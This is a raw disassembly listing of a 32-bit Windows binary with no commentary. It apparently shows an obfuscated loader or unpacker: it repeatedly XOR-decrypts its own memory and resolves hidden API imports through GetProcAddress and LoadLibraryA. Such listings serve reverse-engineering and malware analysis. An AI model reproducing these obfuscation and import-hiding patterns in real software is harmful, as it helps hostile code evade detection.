mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf98b6
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x93f2]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd38e]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10103e60]
mov dword [0x10105abc], eax
mov eax, dword [esp + 0x14]
xor dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140f5]
add eax, 0xa5aac
xor eax, dword [ecx]
xor eax, 0xdcc69660
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa6ce]
add eax, 0x200d0
xor eax, dword [ecx]
xor eax, 0xdccecc1c
mov dword [ecx], eax
mov eax, dword [0x10105368]
or eax, 0x87e5af1a
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3296c]
add eax, 0x3e50
xor eax, dword [ecx]
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4380]
add eax, 0x266d0
xor eax, dword [ecx]
xor eax, 0xdcceaa1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5b84]
add eax, 0x202b8
xor eax, dword [ecx]
xor eax, 0xdccece74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3708c]
add eax, 0x31f10
xor eax, dword [ecx]
xor eax, 0xdccfd3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x68fe]
add eax, 0x2024c
xor eax, dword [ecx]
xor eax, 0xdccece80
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe678]
add eax, 0x37158
xor eax, dword [ecx]
xor eax, 0xdccfbd94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fb8]
add eax, 0x23a08
xor eax, dword [ecx]
xor eax, 0xdccef6c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33c20]
add eax, 0x19535
xor eax, dword [ecx]
xor eax, 0xdccd59f9
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2545]
add eax, 0x25110
xor eax, dword [ecx]
xor eax, 0xdcce9ddc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36264]
add eax, 0x23504
xor eax, dword [ecx]
push 0x101076ca
xor eax, 0xdccef9c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200fc
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf818c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1125e]
add eax, 0x200f0
xor eax, dword [ecx]
xor eax, 0xdccecc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1193d]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8300]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17a5]
add eax, 0x24cdc
xor eax, dword [ecx]
xor eax, 0xdcce8010
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19503]
add eax, 0x203b4
xor eax, dword [ecx]
xor eax, 0xdccecf78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34308]
add eax, 0x1f7ee
xor eax, dword [ecx]
xor eax, 0xdccd3b22
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa80f]
add eax, 0xa59c0
xor eax, dword [ecx]
xor eax, 0xdcc6950c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11a72]
add eax, 0x32470
xor eax, dword [ecx]
xor eax, 0xdccfe8bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1dfea]
add eax, 0x1e096
xor eax, dword [ecx]
xor eax, 0xdccd2c5a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x142eb]
add eax, 0x15a00
xor eax, dword [ecx]
xor eax, 0xdccd96cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
push 0x10107a9c
add eax, 0x201ec
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x18], 0x27f
xor ecx, 0xcccf9a42
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb76b]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x50fb6270]
mov dword [esp + 0x20], ecx
lea ecx, [eax + 0x181bd]
add eax, 0x20194
xor eax, dword [ecx]
xor eax, 0xdccecd58
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x10103e64]
push section..data
call fcn.1001555e
dec dword [esp + 0x18]
jne 0x10030cf9
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b78]
add eax, 0xa55bc
xor eax, dword [ecx]
mov dword [esp + 0x18], 0x212
xor eax, 0xdcc69970
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x18]
jne 0x10030d3c
mov eax, dword [0x101062e0]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fc0]
add eax, 0x3dc0
xor eax, dword [ecx]
push 0x101073b4
xor eax, 0xdcccf10c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341a4]
add eax, 0x341c0
xor eax, dword [ecx]
push dword [esp + 0x3c]
xor eax, 0xdccf8d0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f8a0]
add eax, 0xa4be0
xor eax, dword [ecx]
xor eax, 0xdcc6872c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2147]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov ecx, dword [0x10105368]
mov eax, ecx
or eax, 0xe1fc5f6b
mov dword [0x10103e64], eax
mov eax, dword [0x1010536c]
or eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
add eax, 0x20318
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf86c0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x110a3]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bb4]
add eax, 0x47fd0
xor eax, dword [ecx]
xor eax, 0xdcc8b31c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b044]
add eax, 0xa8fc8
xor eax, dword [ecx]
xor eax, 0xdcc64304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24008]
add eax, 0x324b8
xor eax, dword [ecx]
xor eax, 0xdccfe874
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x169cc]
add eax, 0x21408
xor eax, dword [ecx]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2393]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc18c]
add eax, 0x253b0
xor eax, dword [ecx]
xor eax, 0xdcce9f7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370ec]
add eax, 0x315b8
xor eax, dword [ecx]
xor eax, 0xdccfd974
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4894]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42f]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xae68]
add eax, 0x27b44
xor eax, dword [ecx]
xor eax, 0xdcceb788
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4294]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f66f]
add eax, 0x34118
xor eax, dword [ecx]
xor eax, 0xdccf8dd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a135]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25764]
add eax, 0x3f00
xor eax, dword [ecx]
xor eax, 0xdcccf3cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe761]
add eax, 0x37160
xor eax, dword [ecx]
xor eax, 0xdccfbdac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f90]
add eax, 0x26e9c
xor eax, dword [ecx]
xor eax, 0xdccea250
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
sub eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15924]
add eax, 0x14537
xor eax, dword [ecx]
xor eax, 0xdccd89fb
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18421]
add eax, 0xa4c14
xor eax, dword [ecx]
xor eax, 0xdcc680d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33394]
add eax, 0x333a8
xor eax, dword [ecx]
push 0x101079bf
xor eax, 0xdccfff64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341fc]
add eax, 0x1f71d
xor eax, dword [ecx]
push ebp
xor eax, 0xdccd3bd1
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd00]
add eax, 0x1cd40
xor eax, dword [ecx]
xor eax, 0xdccd018c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x51f9]
add eax, 0x1f4ab
xor eax, dword [ecx]
xor eax, 0xdccd3867
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10ed5]
add eax, 0x32360
xor eax, dword [ecx]
xor eax, 0xdccfefac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332e0]
add eax, 0x36fe8
xor eax, dword [ecx]
xor eax, 0xdccfa324
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46b0]
add eax, 0x262b8
xor eax, dword [ecx]
xor eax, 0xdcceae74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaba7]
add eax, 0x20094
xor eax, dword [ecx]
xor eax, 0xdccecc58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9f90]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201b8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf99e0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183e5]
add eax, 0xa4c14
xor eax, dword [ecx]
xor eax, 0xdcc680d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34338]
add eax, 0x1f84c
xor eax, dword [ecx]
xor eax, 0xdccd3480
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370e0]
add eax, 0x31730
xor eax, dword [ecx]
xor eax, 0xdccfdbfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341e4]
add eax, 0x1f6fc
xor eax, dword [ecx]
push 0x10107f93
xor eax, 0xdccd3a30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbc12]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a24]
add eax, 0x33a28
xor eax, dword [ecx]
xor eax, 0xdccff6e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xae7c]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e3b8]
add eax, 0x34360
xor eax, dword [ecx]
xor eax, 0xdccf8fac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2544c]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18000]
add eax, 0x201a4
xor eax, dword [ecx]
xor eax, 0xdccecd68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f4ec]
add eax, 0x33ebc
xor eax, dword [ecx]
xor eax, 0xdccff270
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19cc1]
add eax, 0x201e8
xor eax, dword [ecx]
xor eax, 0xdccecd24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a93f]
add eax, 0x201b4
xor eax, dword [ecx]
xor eax, 0xdccecd78
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x4c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37128]
add eax, 0x2cb58
xor eax, dword [ecx]
mov edx, 0xdccfe308
xor eax, 0xdcce0794
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33968]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf630]
add eax, 0x24ec0
xor eax, dword [ecx]
xor eax, 0xdcce820c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4034]
add eax, 0x78dc0
xor eax, dword [ecx]
xor eax, 0xdccb410c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa855]
add eax, 0xa59b0
xor eax, dword [ecx]
xor eax, 0xdcc6957c
mov dword [ecx], eax
mov eax, dword [0x1010536c]
and eax, dword [esp + 0x18]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328a8]
add eax, 0x33518
xor eax, dword [ecx]
xor eax, 0xdccff9d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa0a5]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33414]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23f98]
add eax, 0x23f30
xor eax, dword [ecx]
xor eax, 0xdccef3fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x136b9]
add eax, 0x328e0
xor eax, dword [ecx]
xor eax, 0xdccfe42c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb112]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32964]
add eax, 0x13460
xor eax, dword [ecx]
xor eax, 0xdccdf8ac
mov dword [ecx], eax
mov eax, dword [0x10105368]
or eax, 0x2737fba9
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaf94]
add eax, 0xa5a18
xor eax, dword [ecx]
xor eax, 0xdcc696d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ec0]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8ab6]
add eax, 0x20008
xor eax, dword [ecx]
xor eax, 0xdcceccc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a888]
add eax, 0xa8fb4
xor eax, dword [ecx]
mov dword [esp + 0x20], 0x2ff
xor eax, 0xdcc64378
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x18]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xaf57]
add eax, 0x27b38
xor eax, dword [ecx]
xor eax, 0xdcceb7f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfa12]
add eax, 0x37030
xor eax, dword [ecx]
xor eax, 0xdccfbcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37130]
add eax, 0x2bd40
xor eax, dword [ecx]
xor eax, 0xdcce718c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33d60]
add eax, 0x1c813
xor eax, dword [ecx]
xor eax, 0xdccd04df
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x20]
jne 0x10031479
mov eax, dword [0x10106ae8]
imul eax, dword [esp + 0x14]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b157]
add eax, 0x20174
xor eax, dword [ecx]
push 0x10107447
xor eax, 0xdccecdb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e4]
sub ecx, eax
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x1272c]
add eax, 0x202c0
xor eax, dword [ecx]
push ebp
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x95b7]
add eax, 0x20024
xor eax, dword [ecx]
xor eax, 0xdccecce8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e4]
sub ecx, eax
mov dword [esp + 0x20], ecx
lea ecx, [eax + 0xac3f]
add eax, 0xa49bc
xor eax, dword [ecx]
xor eax, 0xdcc68570
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x121e3]
add eax, 0x202ec
xor eax, dword [ecx]
xor eax, 0xdccece20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc929]
add eax, 0x28c28
xor eax, dword [ecx]
xor eax, 0xdcce40e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10106ae8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0xa41b8]
add eax, 0x26a18
xor eax, dword [ecx]
xor eax, 0xdccea6d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x230d]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20050
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9b7e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7e30]
add eax, 0x20344
xor eax, dword [ecx]
xor eax, 0xdccecf88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1944a]
add eax, 0xa4f78
xor eax, dword [ecx]
xor eax, 0xdcc683b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a79]
add eax, 0x21c08
xor eax, dword [ecx]
push 0x10107cc1
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17500]
push dword [esp + 0x28]
add eax, 0xa4bf4
xor eax, dword [ecx]
xor eax, 0xdcc68738
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33588]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202c4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9ca8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2389]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3db4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3afc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
add eax, eax
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a68]
add eax, 0x13050
xor eax, dword [ecx]
xor eax, 0xdccdfc9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140e1]
add eax, 0xa5a9c
xor eax, dword [ecx]
xor eax, 0xdcc69650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1880c]
add eax, 0x36960
xor eax, dword [ecx]
xor eax, 0xdccfa5ac
mov dword [ecx], eax
mov eax, dword [0x1010536c]
add eax, 0xfa2094f1
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fb0]
add eax, 0xc220
xor eax, dword [ecx]
xor eax, 0xdccc0eec
mov dword [ecx], eax
mov eax, dword [0x10103e60]
xor eax, dword [0x101062e4]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x184af]
add eax, 0x3606c
xor eax, dword [ecx]
mov dword [esp + 0x20], 0x2c9
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36d40]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33740]
add eax, 0x33750
xor eax, dword [ecx]
xor eax, 0xdccffb9c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
mov eax, dword [0x101062e4]
add eax, 0x40227eb3
dec dword [esp + 0x20]
mov dword [0x10105abc], eax
jne 0x1003178d
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a498]
add eax, 0x36320
xor eax, dword [ecx]
push 0x101073ea
xor eax, 0xdccfafec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335c0]
add eax, 0xa4b6c
xor eax, dword [ecx]
push dword [esp + 0x2c]
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44b4]
add eax, 0x89448
xor eax, dword [ecx]
xor eax, 0xdcc45884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12759]
add eax, 0xa57a8
xor eax, dword [ecx]
xor eax, 0xdcc69b64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43b]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33fac]
add eax, 0x1f58b
xor eax, dword [ecx]
xor eax, 0xdccd3947
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, 0xe56dc4f6
sub ecx, eax
mov dword [0x10103e60], ecx
lea ecx, [eax + 0xa3f64]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d5d]
add eax, 0x201b0
xor eax, dword [ecx]
xor eax, 0xdccecd7c
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
sub eax, dword [0x10103e60]
mov dword [esp + 0x28], eax
mov eax, dword [0x10107300]
add eax, 0x2024c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf869a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a24]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd449]
add eax, 0x28644
xor eax, dword [ecx]
xor eax, 0xdcce4a88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5fe4]
add eax, 0xa59fc
xor eax, dword [ecx]
xor eax, 0xdcc69530
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
add dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b236]
add eax, 0xa8fd0
xor eax, dword [ecx]
push 0x10107956
xor eax, 0xdcc6431c
mov dword [ecx], eax
mov eax, dword [0x101062e4]
and eax, dword [esp + 0x24]
push ebp
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17c1e]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33dc0]
add eax, 0x1cae1
xor eax, dword [ecx]
xor eax, 0xdccd062d
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36adc]
add eax, 0x249d4
xor eax, dword [ecx]
xor eax, 0xdcce8518
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24034]
add eax, 0x23e90
xor eax, dword [ecx]
xor eax, 0xdccef25c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20194
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9962
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1232a]
add eax, 0x326c0
xor eax, dword [ecx]
xor eax, 0xdccfea0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x670a]
add eax, 0x279f4
xor eax, dword [ecx]
xor eax, 0xdcceb538
mov dword [ecx], eax
mov eax, dword [0x10103e60]
imul eax, dword [esp + 0x18]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33668]
add eax, 0xa4a74
xor eax, dword [ecx]
xor eax, 0xdcc686b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x91a2]
add eax, 0xa5a44
xor eax, dword [ecx]
xor eax, 0xdcc69688
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x186b6]
add eax, 0xa4c18
xor eax, dword [ecx]
xor eax, 0xdcc680d4
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
add eax, 0x5bc10789
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a80]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x340bc]
add eax, 0x1f620
xor eax, dword [ecx]
xor eax, 0xdccd3aec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33208]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e0]
mov dword [0x10105368], ecx
mov ecx, dword [0x10103e60]
add ecx, 0x220a208e
mov dword [0x101062e4], ecx
lea ecx, [eax + 0xa3df4]
add eax, 0x5acf0
xor eax, dword [ecx]
xor eax, 0xdcc9603c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39a8]
add eax, 0x27858
xor eax, dword [ecx]
xor eax, 0xdcceb494
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e69e]
add eax, 0xa8f30
xor eax, dword [ecx]
xor eax, 0xdcc643fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29128]
add eax, 0x3dc0
xor eax, dword [ecx]
xor eax, 0xdcccf10c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c88c]
add eax, 0x20070
xor eax, dword [ecx]
xor eax, 0xdcceccbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33c60]
add eax, 0x1a365
xor eax, dword [ecx]
xor eax, 0xdccd6fa9
mov dword [ecx], eax
